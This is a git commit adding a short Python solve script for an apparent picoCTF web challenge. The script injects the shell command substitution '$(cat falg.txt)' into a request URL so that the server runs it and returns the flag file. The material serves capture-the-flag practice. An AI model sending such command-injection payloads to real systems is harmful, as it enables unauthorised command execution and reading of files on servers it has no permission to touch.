web: add already solved challenges

This commit is contained in:
2024-09-01 23:08:46 +02:00
parent 45b391c5f1
commit 9f5d34fe87
20 changed files with 251 additions and 0 deletions

20
web/caas/solve.py Executable file
View File

@@ -0,0 +1,20 @@
#!/usr/bin/env nix-shell
#!nix-shell -i python3 -p python3Packages.requests
# coding: utf-8
import json
import requests
BASE_URL = "https://caas.mars.picoctf.net/cowsay"
def main():
# payload = "$(ls)"
payload = "$(cat falg.txt)"
r = requests.get(BASE_URL + f"/{payload}")
print(r)
print(r.text)
if __name__ == '__main__':
main()